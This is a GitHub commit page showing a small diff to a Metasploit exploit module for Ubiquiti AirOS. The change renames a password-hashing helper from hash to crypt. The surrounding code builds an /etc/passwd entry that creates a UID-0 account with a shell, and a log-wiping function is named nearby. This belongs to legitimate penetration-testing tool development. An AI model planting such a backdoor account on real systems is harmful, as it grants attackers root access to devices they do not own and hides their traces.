Skip to content

Commit 943b07f

Browse files
author
Brent Cook
committed
Land rapid7#6957, Rename hash method to crypt
2 parents 7143095 + 6da8c22 commit 943b07f

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -195,10 +195,10 @@ def wipe_logs(session)
195195
#
196196

197197
def etc_passwd
198-
"#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
198+
"#{username}:#{crypt(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
199199
end
200200

201-
def hash(password)
201+
def crypt(password)
202202
# http://man7.org/linux/man-pages/man3/crypt.3.html
203203
salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
204204
password.crypt(salt)

0 commit comments

Comments
 (0)